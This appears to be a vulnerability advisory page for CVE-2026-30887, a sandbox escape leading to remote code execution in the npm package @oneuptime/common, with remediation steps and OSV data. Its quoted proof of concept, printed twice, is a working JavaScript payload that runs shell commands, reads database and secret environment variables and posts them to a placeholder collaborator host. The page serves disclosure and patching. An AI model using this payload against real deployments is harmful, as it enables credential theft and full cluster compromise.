CVE-2026-30887: @oneuptime/common Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-h343-gg57-2q67
CVSS 9.9
CWE-94
Published
Advisory Summary

CVE-2026-30887 is a CRITICAL (CVSS 9.9) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting @oneuptime/common libraries in the npm ecosystem. The issue involves oneuptime's unsandboxed code execution in probe allows any project member to achieve rce. Remediation is available by upgrading affected packages to version 10.0.18.

CVE-2026-30887 at a Glance

CVE Identifier CVE-2026-30887
GHSA Identifier GHSA-h343-gg57-2q67
Severity CRITICAL
CVSS v3.1 Base Score 9.9
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product @oneuptime/common
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-30887

To remediate this vulnerability, upgrade all affected @oneuptime/common dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@oneuptime/common fixed: 10.0.18
npm install @oneuptime/common@10.0.18
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @oneuptime/common

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-30887, inspect your project dependencies using npm:

npm ls @oneuptime/common

Analyze the terminal output to locate any version of @oneuptime/common in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 10.0.18), your application is affected.

Note: The npm ls @oneuptime/common command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In @oneuptime/common, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary OneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js `vm` module. By leveraging a standard prototype-chain escape (`this.constructor.constructor`), an attacker can bypass the sandbox, gain access to the underlying Node.js `process` object, and execute arbitrary system commands (RCE) on the `oneuptime-probe` container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise. ### Details The root cause of the vulnerability exists in [Common/Server/Utils/VM/VMRunner.ts](oneuptime/Common/Server/Utils/VM/VMRunner.ts) where user-supplied JavaScript is executed using `vm.runInContext()`: ```typescript const vmPromise = vm.runInContext(script, sandbox, { ... }); ``` The Node.js documentation explicitly warns that the `vm` module is not a security boundary and should never be used to run untrusted code. When a user creates a **Synthetic Monitor**, the code inputted into the Playwright script editor is passed directly to this backend function without any AST filtering or secure isolation (e.g., `isolated-vm` or a dedicated restricted container). An attacker can use the payload `const proc = this.constructor.constructor('return process')();` to step out of the sandbox context and grab the host's native `process` object. From there, they can require `child_process` to execute arbitrary shell commands. Since the `oneuptime-probe` service runs with access to sensitive environment variables (such as `ONEUPTIME_SECRET`, `DATABASE_PASSWORD`, etc.), an attacker can trivially exfiltrate these secrets to an external server. ### PoC This exploit can be triggered entirely through the OneUptime web dashboard GUI by any user with at least "Project Member" permissions. 1. **Log In**: Authenticate to the OneUptime Dashboard. (Open registration is enabled by default). 2. **Navigate**: Go to **Monitors** > **Create New Monitor**. 3. **Monitor Type**: Select **Synthetic Monitor**. 4. **Browser/Screen Settings**: Ensure **Chromium** is selected for "Browser Types" and **Desktop** is selected for "Screen Size Types". 5. **Payload Injection**: Scroll down to the "Playwright Code" editor. Delete the default template and paste the following malicious JavaScript payload: ```javascript return new Promise((resolve) => { try { // 1. Traverse the prototype chain to grab the host's process object const proc = this.constructor.constructor('return process')(); // 2. Load the host's child_process module & run a system command const cp = proc.mainModule.require('child_process'); const output = cp.execSync('ls -la /usr/src/app').toString(); // 3. (Optional) Read sensitive environment secrets const secret = proc.env.ONEUPTIME_SECRET; const db_pass = proc.env.DATABASE_PASSWORD; // 4. Exfiltrate the data via the native `http` module const http_real = proc.mainModule.require('http'); const req = http_real.request({ hostname: 'YOUR_OAST_OR_BURP_COLLABORATOR_URL_HERE', port: 80, path: '/', method: 'POST' }, (res) => { resolve("EXFILTRATION_STATUS: " + res.statusCode); }); req.on('error', (e) => resolve("EXFILTRATION_ERROR: " + e.message)); const payloadData = JSON.stringify({ rce_output: output, secret: secret, db: db_pass }); req.write(payloadData); req.end(); } catch(e) { resolve("CRITICAL_ERROR: " + e.message); } }); ``` 6. **Save & Execute**: Click **Save**. Within 60 seconds, the probe worker will pick up the monitor, execute the code, and send the RCE output to your external listener URL. OUTPUT: ``` {"rce_output":"total 296\ndrwxr-xr-x 1 root root 4096 Mar 3 18:27 .\ndrwxr-xr-x 1 root root 4096 Mar 3 18:26 ..\n-rw-r--r-- 1 root root 16 Mar 3 18:24 .gitattributes\n-rwxr-xr-x 1 root root 403 Mar 3 18:24 .gitignore\ndrwxr-xr-x 2 root root 4096 Mar 3 18:24 API\n-rw-r--r-- 1 root root 4103 Mar 3 18:24 Config.ts\n-rw-r--r-- 1 root root 2602 Mar 3 18:24 Dockerfile\n-rw-r--r-- 1 root root 2705 Mar 3 18:24 Dockerfile.tpl\n-rw-r--r-- 1 root root 2935 Mar 3 18:24 Index.ts\ndrwxr-xr-x 3 root root 4096 Mar 3 18:24 Jobs\ndrwxr-xr-x 2 root root 4096 Mar 3 18:24 Services\ndrwxr-xr-x 4 root root 4096 Mar 3 18:24 Tests\ndrwxr-xr-x 3 root root 4096 Mar 3 18:24 Utils\ndrwxr-xr-x 3 root root 4096 Mar 3 18:27 build\n-rw-r--r-- 1 root root 889 Mar 3 18:24 jest.config.json\ndrwxr-xr-x 297 root root 12288 Mar 3 18:26 node_modules\n-rw-r--r-- 1 root root 353 Mar 3 18:24 nodemon.json\n-rw-r--r-- 1 root root 203119 Mar 3 18:24 package-lock.json\n-rw-r--r-- 1 root root 1481 Mar 3 18:24 package.json\n-rw-r--r-- 1 root root 11514 Mar 3 18:24 tsconfig.json\n"} ``` <img width="1364" height="470" alt="image" src="https://github.com/user-attachments/assets/9e0d3013-bba5-4188-8777-6903c8f55dba" /> ### Impact **What kind of vulnerability is it?** Remote Code Execution (RCE) / Code Injection / Sandbox Escape. **Who is impacted?** Any OneUptime deployment running version <= 10.0.0. Since open registration is enabled by default, an external, unauthenticated attacker can create an account, create a project, and instantly compromise the entire cluster. ---

CVE-2026-30887 Affected @oneuptime/common Versions

1 component(s)
Fixed Versions:
10.0.18
Product / Package Ecosystem Affected Versions Fixed Version
@oneuptime/common
npm
< 10.0.18
10.0.18

References

Frequently Asked Questions

What is CVE-2026-30887?
CVE-2026-30887 is a security vulnerability in @oneuptime/common involving OneUpTime's Unsandboxed Code Execution in Probe Allows Any Project Member to Achieve RCE under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which @oneuptime/common versions are affected?
Affected versions include releases prior to 10.0.18 across affected packages: @oneuptime/common.
What version fixes CVE-2026-30887?
Upgrading to 10.0.18 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @oneuptime/common affected?
Yes, @oneuptime/common is affected in releases prior to 10.0.18. Upgrade your dependency to 10.0.18 or later.
What is the CVSS score of CVE-2026-30887?
CVE-2026-30887 has a CVSS v3.1 base score of 9.9 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-30887?
CVE-2026-30887 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check npm dependencies for CVE-2026-30887?
Run the dependency tree command: 'npm ls @oneuptime/common'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h343-gg57-2q67",
  "modified" : "2026-03-10T18:44:03Z",
  "published" : "2026-03-07T02:30:09Z",
  "aliases" : [ "CVE-2026-30887" ],
  "summary" : "OneUpTime's Unsandboxed Code Execution in Probe Allows Any Project Member to Achieve RCE",
  "details" : "### Summary\nOneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js `vm` module. By leveraging a standard prototype-chain escape (`this.constructor.constructor`), an attacker can bypass the sandbox, gain access to the underlying Node.js `process` object, and execute arbitrary system commands (RCE) on the `oneuptime-probe` container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise.\n\n### Details\nThe root cause of the vulnerability exists in [Common/Server/Utils/VM/VMRunner.ts](oneuptime/Common/Server/Utils/VM/VMRunner.ts) where user-supplied JavaScript is executed using `vm.runInContext()`:\n\n```typescript\nconst vmPromise = vm.runInContext(script, sandbox, { ... });\n```\n\nThe Node.js documentation explicitly warns that the `vm` module is not a security boundary and should never be used to run untrusted code. \n\nWhen a user creates a **Synthetic Monitor**, the code inputted into the Playwright script editor is passed directly to this backend function without any AST filtering or secure isolation (e.g., `isolated-vm` or a dedicated restricted container). \n\nAn attacker can use the payload `const proc = this.constructor.constructor('return process')();` to step out of the sandbox context and grab the host's native `process` object. From there, they can require `child_process` to execute arbitrary shell commands. \n\nSince the `oneuptime-probe` service runs with access to sensitive environment variables (such as `ONEUPTIME_SECRET`, `DATABASE_PASSWORD`, etc.), an attacker can trivially exfiltrate these secrets to an external server.\n\n### PoC\nThis exploit can be triggered entirely through the OneUptime web dashboard GUI by any user with at least \"Project Member\" permissions.\n\n1. **Log In**: Authenticate to the OneUptime Dashboard. (Open registration is enabled by default).\n2. **Navigate**: Go to **Monitors** > **Create New Monitor**.\n3. **Monitor Type**: Select **Synthetic Monitor**.\n4. **Browser/Screen Settings**: Ensure **Chromium** is selected for \"Browser Types\" and **Desktop** is selected for \"Screen Size Types\".\n5. **Payload Injection**: Scroll down to the \"Playwright Code\" editor. Delete the default template and paste the following malicious JavaScript payload:\n\n```javascript\nreturn new Promise((resolve) => {\n    try {\n        // 1. Traverse the prototype chain to grab the host's process object\n        const proc = this.constructor.constructor('return process')();\n        \n        // 2. Load the host's child_process module & run a system command\n        const cp = proc.mainModule.require('child_process');\n        const output = cp.execSync('ls -la /usr/src/app').toString();\n        \n        // 3. (Optional) Read sensitive environment secrets\n        const secret = proc.env.ONEUPTIME_SECRET;\n        const db_pass = proc.env.DATABASE_PASSWORD;\n        \n        // 4. Exfiltrate the data via the native `http` module\n        const http_real = proc.mainModule.require('http');\n        const req = http_real.request({ \n            hostname: 'YOUR_OAST_OR_BURP_COLLABORATOR_URL_HERE', \n            port: 80, \n            path: '/', \n            method: 'POST' \n        }, (res) => {\n            resolve(\"EXFILTRATION_STATUS: \" + res.statusCode);\n        });\n        \n        req.on('error', (e) => resolve(\"EXFILTRATION_ERROR: \" + e.message));\n        \n        const payloadData = JSON.stringify({ rce_output: output, secret: secret, db: db_pass });\n        req.write(payloadData);\n        req.end();\n    } catch(e) {\n        resolve(\"CRITICAL_ERROR: \" + e.message);\n    }\n});\n```\n\n6. **Save & Execute**: Click **Save**. Within 60 seconds, the probe worker will pick up the monitor, execute the code, and send the RCE output to your external listener URL.\n\nOUTPUT:\n```\n{\"rce_output\":\"total 296\\ndrwxr-xr-x   1 root root   4096 Mar  3 18:27 .\\ndrwxr-xr-x   1 root root   4096 Mar  3 18:26 ..\\n-rw-r--r--   1 root root     16 Mar  3 18:24 .gitattributes\\n-rwxr-xr-x   1 root root    403 Mar  3 18:24 .gitignore\\ndrwxr-xr-x   2 root root   4096 Mar  3 18:24 API\\n-rw-r--r--   1 root root   4103 Mar  3 18:24 Config.ts\\n-rw-r--r--   1 root root   2602 Mar  3 18:24 Dockerfile\\n-rw-r--r--   1 root root   2705 Mar  3 18:24 Dockerfile.tpl\\n-rw-r--r--   1 root root   2935 Mar  3 18:24 Index.ts\\ndrwxr-xr-x   3 root root   4096 Mar  3 18:24 Jobs\\ndrwxr-xr-x   2 root root   4096 Mar  3 18:24 Services\\ndrwxr-xr-x   4 root root   4096 Mar  3 18:24 Tests\\ndrwxr-xr-x   3 root root   4096 Mar  3 18:24 Utils\\ndrwxr-xr-x   3 root root   4096 Mar  3 18:27 build\\n-rw-r--r--   1 root root    889 Mar  3 18:24 jest.config.json\\ndrwxr-xr-x 297 root root  12288 Mar  3 18:26 node_modules\\n-rw-r--r--   1 root root    353 Mar  3 18:24 nodemon.json\\n-rw-r--r--   1 root root 203119 Mar  3 18:24 package-lock.json\\n-rw-r--r--   1 root root   1481 Mar  3 18:24 package.json\\n-rw-r--r--   1 root root  11514 Mar  3 18:24 tsconfig.json\\n\"}\n\n```\n<img width=\"1364\" height=\"470\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9e0d3013-bba5-4188-8777-6903c8f55dba\" />\n\n\n### Impact\n**What kind of vulnerability is it?** \nRemote Code Execution (RCE) / Code Injection / Sandbox Escape.\n\n**Who is impacted?** \nAny OneUptime deployment running version <= 10.0.0. Since open registration is enabled by default, an external, unauthenticated attacker can create an account, create a project, and instantly compromise the entire cluster.\n\n---",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@oneuptime/common"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "10.0.18"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-h343-gg57-2q67"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-30887"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/OneUptime/oneuptime"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-07T02:30:09Z",
    "nvd_published_at" : "2026-03-10T17:40:14Z"
  }
}